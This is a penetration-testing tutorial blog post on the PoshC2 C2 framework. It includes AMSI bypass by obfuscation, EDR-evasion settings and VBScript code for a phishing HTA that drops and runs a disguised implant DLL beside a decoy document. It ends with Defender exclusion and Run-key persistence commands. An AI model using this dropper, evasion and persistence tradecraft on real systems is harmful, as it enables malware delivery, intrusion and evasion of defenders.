The Penetration Testing with Kali Linux course offered by Offensive Security (PWK) covers a lot of ground important to every penetration tester, but it can’t cover everything. Some topics are only touched upon briefly in the textbook and your knowledge of them isn’t thoroughly tested in the lab. The intent of this series is to expand upon and fill in some gaps left by the PWK course, so that you’re confident in your ability to handle Windows networks. This series covers techniques that I’ve learned from the best researchers in the field, done in a step-by-step fashion.

All of the topics in this series will have some things in common.

Shields Up - Wherever possible, the payloads, post-exploitation steps, techniques and procedures demonstrated will happen on Windows machines with some level of defenses active. Normal endpoint defenses like AV and AMSI will be present. UAC will be active and set to default. PowerShell logging will be active. PowerShell execution policy will be default for the OS. The idea is to replicate a reasonable default defensive posture.

Low privileges by default - Where applicable, I’m not going to begin conveniently as local Administrator. Too many Active Directory post exploitation tutorials begin with “Once on the machine, just magically privesc to local admin, and then…”. This is unhelpful. We’re going to explore what to do when high privileges don’t just fall into your lap.

Narrow tool focus - These articles will focus on using a small set of tools. Finding effective projects that are maintained and responsive to bug reports is difficult in this space. The gems that get continued support are worth investing time into.

Post-Preamble: 2021

These posts were written near the beginning of 2019 and while mostly still relevant, might not use the most up-to-date versions of software or techniques. I’m leaving them up because they continue to get views.


The first topic in this series covers working with our post exploitation framework for this series, PoshC2. It also touches on offensive PowerShell and obfuscation. I demonstrate creating a phishing payload to deliver a PoshC2 Implant at the end.

Posh Things

This blog series has been tooled to use the PoshC2 framework from Nettitude Labs. Alternative frameworks exist, such as Merlin and Covenant. However, its my opinion that neither are currently quite as mature as PoshC2 is.

PoshC2 offers some convenient default functionality, such as automatically generating a large swath of payload types. These include compiled binaries, HTA, Office macros and raw PowerShell, as well as shellcode. As of this writing these artifacts can sit on disk with no extra effort to obfuscate them; Windows Defender lets them pass. Your mileage will vary based on your AV engine.

This article won’t cover setting up PoshC2, as the project’s documentation is thorough. Instead, I’ll highlight some functionality and quirks. Note that I’m using the Python version of the server software (the PowerShell native version is deprecated).

PoshC2 divides its functionality up into two main modules. One, is the actual communications endpoint for your Implants. The other is, which is your working interface to the server and Implants. The project ships a SystemD service file if you want to run the server in that fashion, but I prefer to use tmux and run the server on its own window. I also run the ImplantHandler in its own window, and I’ll swap between the two as required. Sometimes I run them in two panes in the same window. Do whatever works for you and makes it easiest to capture text and issue commands.

I strongly recommend using the ‘oldurls.txt’ file to modify the URIs the Implants use to talk with the server. These URIs are hardcoded into the Implant. As such, the defaults are likely to result in detections from AV or EDR software. My preference for URIs is to use paths that look like API endpoints. For example:


PoshC2 implants will append a long string of random characters to the end of the URI for their GET requests, so avoid using filenames as endpoints, like index.html. What will go over the wire is something like index.htmlUasiv98832saFVSS81. This doesn’t look legitimate in the least.

You should also modify the timing settings for your Implants. The default in PoshC2 for Implant beaconing is 5 seconds. While convenient when you’re issuing a lot commands, EDR and IDS systems are sensitive to anything that looks like beaconing. I recommend a non-multiple of 5 seconds that is as long as you can tolerate waiting. 11 seconds to 17 seconds is a reasonable range. You can also change this setting after the fact for your Implants. Starting with a long beacon period like 1 minute or longer, then moving to something more aggresive later can throw off EDR software.

You’ll notice I don’t follow my own advice for this beacon interval throughout this series. I’m in a lab. :P

PoshC2 supports putting arbitrary PowerShell scripts in its Modules directory, so if you have a preferred script for any activity I demonstrate, feel free to use it. The script has to export a function to be loaded by PoshC2, so check that your script works in this way. If your script doesn’t export a function, you can only transfer the script to the compromised host and run it manually.

Before we dive into creating a custom payload, let’s talk a little about PowerShell.


PowerShell enjoyed (and continues, to a certain extent) a great time in the spotlight as a powerful and flexible offensive tool. Versions of Windows 10 after 1709 have added deep logging and AV monitoring to PowerShell. This has caused offensive tools to endure increased scrutiny.

The Anti-Malware Scanning Interface (AMSI), introduced in PowerShell 5, has made it very difficult to utilize well-known PowerShell payloads. As of this writing, there’s a well-known AMSI bypass that still works (although not as-is), but that’s not certain to continue. As a result, lots of development effort is shifting towards C# and other .Net managed languages to fill the space left by PowerShell.

PowerShell isn’t totally down and out though, and if your client still uses Windows 7 heavily, these enhanced defenses might not be of much concern. This doesn’t mean you’re safe. Some AV applies its heuristics engine to PowerShell scripts, and PowerShell 5 can be installed on Windows 7. Tread lightly and test your payloads beforehand!

To combat brittle static signatures used in the detection of offensive PowerShell scripts, the awesome Daniel Bohannon released Invoke-Obfuscation. His goal was to demonstrate to defenders how offensive obfuscation works, and how it can defeat their detection software.

For offensive practitioners, it offers an easy interface for applying obfuscation techniques to PowerShell scripts. If you need to get a PowerShell script by AV that is utilizing AMSI, Invoke-Obfuscation is your best chance at doing so.

For example, Invoke-Obfuscation is still effective at hiding a well-known AMSI bypass.

Published by mattifestation in a tweet a while back, running the bypass in a PowerShell console now just yields


No good. However, with a wave of the Invoke-Obfuscation wand…


string2.ps1 is the exact same PowerShell command, with some light obfuscation applied.

As an aside, it’s a good idea to keep the AMSI test string on a webserver you control. This way you can quickly test AMSI sensitivity from anywhere. Just store

‘AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386’

in a file, and try to iex the remote file, as I did above. Defender, or any AV product subscribed to AMSI events, is supposed to trigger on this test string.

If you just want to know if the AMSI library is loaded in your current runspace, just run the following command:

Get-Process | Where-Object {($_.Modules).ModuleName -Contains 'amsi.dll'}

This will print every process where ‘amsi.dll’ is loaded.

I’m not going to go in-depth with Invoke-Obfuscation, as there are plenty of sites covering it and the built-in help isn’t bad. It makes no particular effort to explain what it means when it’s talking about PowerShell tokens though, so I’ve summarized them below.

Brief description of syntactic elements in PSH

Tokens are the output of the PowerShell parser. The parser’s job is to separate things like Invoke-Mimikatz from other things like “” in the commands that you create.
As you can see when looking at the output of the token command context in Invoke-Obfuscation, there are several types of token.


  • String - This token is referenced inside of double and single quotes (which aside from a few specific circumstances are interchangable).
  • Command - This token usually has the format Verb-Noun, and are often referred to as cmdlets.
  • Argument - This token is found with a Command, and is named with a ‘-’, like -InputObject. An argument may go unnamed if the context of the token is unambiguous. For example, in Write-Host (Invoke-Webrequest ‘Invoke-Webrequest’ is itself a Command but also an Argument. This works because Write-Host only takes one Object as an input, so PowerShell is smart enough to interpret the Invoke-Webrequest as though the whole command were Write-Host -Object (Invoke-Webrequest
  • Members - This token is a superset of Attributes and Methods. For example, a string $ThisString will have an Attribute .Length that will return the length of $ThisString. Methods, on the other hand, are functions that are exposed by the parent object. They end in ‘()’. They may require arguments that you insert between the ()’s.
  • Variable - This token is a common feature of all programming languages, and just holds references to other items, like strings, objects, memory locations, functions, etc. In PowerShell it is prepended with ‘$’.
  • Type - This token allows the user to cast variables into certain types, such as integers. I’ve provided an example of a cast from a string to an integer below.
 $var = '3'; $var.GetType()

IsPublic IsSerial Name                                     BaseType
-------- -------- ----                                     --------
True     True     String                                   System.Object

[int]$var = '3'; $var.GetType()

IsPublic IsSerial Name                                     BaseType
-------- -------- ----                                     --------
True     True     Int32                                    System.ValueType

Using this knowledge you can get a feeling, looking at a script, of what tokens might be a good target for obfuscation. You will want to focus on hiding obvious names of functions, strings, and sometimes arguments. Invoke-Obfuscation makes it very easy to iteratively apply and undo levels of obfuscation, and you should apply the minimum necessary obfuscation to a script to get it to work.

Using Invoke-Obfuscation on your PoshC2 payloads that utilize some form of PowerShell can be an effective means of bypassing AMSI. Examine the contents of a payload for a powershell.exe -foo bar line, which is usually where the actual Implant payload is located. Then remove that line and replace it with the output of Invoke-Obfuscation.

A Sample Payload

So let’s talk about getting your implant onto the target computer or network. Getting around AV isn’t the only thing you have to worry about for your payload. You also need good cover if you expect a reasonable human to do what you ask and run your attachment.

Let’s try something a little more elaborate then just using mshta.exe to invoke a malicious .hta file. We’re going to simulate a phish where a “secure” (not really) document is “decrypted” (it isn’t) by a HTA application sent as an attachment. Alternatively, a link to the HTA could be provided on a cloud service/dropbox/website.

The creation of the .hta is a semi-automatic process. If you know something about the AV situation on your target’s endpoints, that will inform your packaging, but for now we’re going to assume that a straight PowerShell-style payload is off the table. So I’m going to use macro_pack to create the malicious HTA, and then modify it to add some legitimacy. I’ll use the DLL embedding template to avoid using PowerShell directly.

First, I run the following macro_pack command.

echo "VoidFunc" | macro_pack.exe -t EMBED_DLL --embed=.\Posh_v4_x64.dll -G secure.hta

Here’s the breakdown:

  • The VoidFunc part is the entrypoint into the DLL from PoshC2 we’re using as the payload. If entrypoints are an unfamiliar topic, check out the Microsoft documentation for a quick rundown.
  • -t EMBED_DLL is just telling macro_pack what template you’re wanting to use. It supports quite a number of them.
  • --embed=.\Posh_v4_x64.dll just specifies the payload.
  • -G secure.hta is just the output. macro_pack automatically figures out what it needs to do internally based on the extension. Not all extensions support all templates, so experiment.

So as-is, running this HTA will drop the payload DLL into a default directory, with a default name. That’s a great target for a static signature in AV software though, so we’ll be changing those defaults. I will also provide my own function for the “decryption” of the legitimate document. I’ll use PowerShell functions to Base64 encode the document, paste it into the HTA, and then test that it works.

In a PowerShell console

$file = "c:\users\jhickman\dev\documents\Test_legit_document.docx"
$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($File))

At this point, just referencing $base64string by itself will dump out the encoded file. You can also use Out-File to write the string to a convenience text file for reuse.

Out-File -InputObject $base64string -FilePath .\docx_to_string.txt

Next I need to edit the macro_pack generated HTA file, to insert the document-string I just made. I then need to surround the document with a function that reads it in, decodes it, and writes it to disk. macro_pack already provides this function so I’m just going to be copying it for my use.

The HTA file includes a section like this.

Sub DumpFile(strFilename)
 Dim str
 str = "<many lines of base64>"
 readEmbed = Base64ToBin(str)
 CreateBinFile strFilename, readEmbed
End Sub

First, I copied the fuction while omitting the existing base64 string. I renamed the function (I went with “DumpDocument”) and changed the ‘Dim str’ to ‘Dim doc’. I also changed the reference to ‘str’ in the readEmbed line to reflect the changed name ‘doc’.

I’m too lazy to actually break up the document’s base64 blob into lines like macro_pack does. I’m just going to paste it in as one line. I’ve read that this can cause compatibility issues, but I didn’t encounter any. To be safe though, use as small a document as you can. My test document was about 17KB in size.

So now I’ve created a new function that handles our base64-encoded file. Next, the function that decodes the payload DLL has to be modified to also decode our document. Originally, it looks like this:

Private Sub loadEmbeddedDll()
    DumpFile CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") & "\Document1.asd"
    CreateObject("WScript.Shell").Run "%windir%\System32\rundll32.exe %temp%\Document1.asd,VoidFunc", 0
End Sub

Sub AutoOpen()
End Sub

After we’re done, it will look like this.

Private Sub loadEmbeddedDll()
    DumpFile CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") & "\SearchUI.native.dll"
    DumpDocument ".\Secure.docx"
    CreateObject("WScript.Shell").Run "%windir%\System32\rundll32.exe %temp%\SearchUI.native.dll,VoidFunc", 0
End Sub

Sub AutoOpen()
End Sub

I’ve set the legit document to appear in the same working directory that the HTA was dropped to. This would be the expected behavior of an actual “secure decrypter.” If you want, you can script the automatic deletion of the HTA, but you can also do that just as easily after the PoshC2 implant is running. I’ve also changed the name of the implant DLL to something vaguely Microsoft-y.

You’ll need to put a line in your phish saying that the user will need to “unblock” the HTA in order for it to work. mshta.exe isn’t happy about a file with the Mark of the Web writing files to disk. The user can use the context menu to unblock the file.

Once the payload has run, you’ll get a new Implant event posted to the log from your C2Server process. You can then switch to your ImplantHandler, and start interacting with your new Implant.

You’re here, what now?

With your active implant, you might be wondering what to do now. If you’re used to Meterpreter, you might find working in PoshC2 a little strange, but it’s not hard. The key thing to remember is that you’re always working in PowerShell once you interact with an Implant. So normal PowerShell cmdlets and functions work directly, and you may import modules on the target, or from your C2 server with a command.

What about AMSI you might ask? Well, the PowerShell runspace that the PoshC2 .Net-style payloads create automatically unhooks AMSI. It uses a different method from our bypass outlined above, one available to .Net programs. The ‘Posh64.exe’, ‘Posh_v4_x64.dll’ and their 32bit companion binaries are of this type. As a result, anything you upload and run inside the same runspace is reasonably safe. However, if you invoke powershell.exe again from your runspace, that new runspace wil be unprotected!

Exercise caution when writing files to disk from your Implant’s PowerShell runspace. AVG in particular, in my experience, will automatically flag and delete any .exe file written to disk from your runspace, even if it was downloaded using a WebClient object or using Invoke-Webrequest. Further, it will terminate your Implant as well!

An effective bypass for this behavior is to rename your download to .txt or .log, and then use the mv command to rename it to the proper extension.

For now, here are some commands to use when you’ve first landed on the machine and need to know what’s what.

  • ps / get-userprocess
    Lets you know basic process information. I find ps is generally too verbose, so I found an alternative. It lets me easily see user processes and omits SYSTEM processes. It’s called Get-UserProcess, and it’s available here. Just rename the .psm1 to .ps1, and put it in your Modules directory on your PoshC2 server.

  • get-computerinfo / get-userinfo / ipconfig / get-netipaddress
    Shows basic info about the local machine and local users. Verbose.

  • find-allvulns / invoke-allchecks
    The first just pre-checks for a short list of very bad local privesc opportunities. The second is more comprehensive, and can even supply command recipes for detected issues.

  • invoke-netstat / resolve-ipaddress
    Some network visibility tools. The second command is a convenience tool for resolving hosts to IP addresses.

  • Get-MpPreference / Set-MpPreference -ExclusionPath <path without quotes>
    This cmdlet asks Windows Defender to dump all of its config…and you don’t need privileges to do so. So you can quickly see its state, and more importantly, if any directories happen to already be excluded. If you’re lucky enough to have elevated privileges on the account that ran your payload, you can also set an exclusion directory. Modifying exclusions creates event 5007 in the Event Viewer.

Basic persistence

Download the payload through the active console (don’t do this until you have some idea of the AV situation!) with:

iwr -usebasicparsing <URL> -outfile <path>

Then we add a run key like so:

New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name <name> -Type String -Value "rundll32.exe <path>,VoidFunc"

Remove it once no longer needed like so:

Remove-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name <name>

There are numerous persistence methods out there, this is just a basic one to get you started. PoshC2 includes some modules that also provide some persistence automation for you, but they seem to focus on the PowerShell version of the payload. There is no support for loading the library or executable types. Be prepared to roll your own persistence if you prefer these payload types.

Wrapping up

So in this post we covered PoshC2 basics, some PowerShell basics, and a sample method of constructing and modifying a phishing payload. If you’ve chosen to follow along in a lab, you should now have a working PoshC2 implant phoned-in to your server, and you’ve probably explored the functionality available to you.

The rest of these articles will explore Microsoft’s Active Directory in greater detail, allowing you to understand what you’ll need to move from one computer to the next, elevating privileges at each step.


I couldn’t have written this series without the tireless work and research given freely by those in the infosec community. I’ve tried to cite them each time I link an article, but here in no particular order:

  • wald0
  • mattifestation
  • subtee
  • timmedin
  • gentilkiwi
  • danielhbohannon
  • ReL1K
  • rastamouse
  • xpn
  • rvrsh3ll
  • pyrotek3
  • CpnJesus
  • dirk-jan
  • harmj0y
  • cobbr
  • xorrior
  • hdmoore
  • sevargas
  • m0rv4i

Last but certainly not least, is @benpturner for the PoshC2 framework used extensively throughout this series. Accepting questions, bug reports, and nagging throughout, he was always ready to help.

And a second shout-out to @harmj0y and others for the PowerView project. While the leading edge of offensive tooling is moving on to C#, PowerView still provides a stout resource for investigating Active Directory.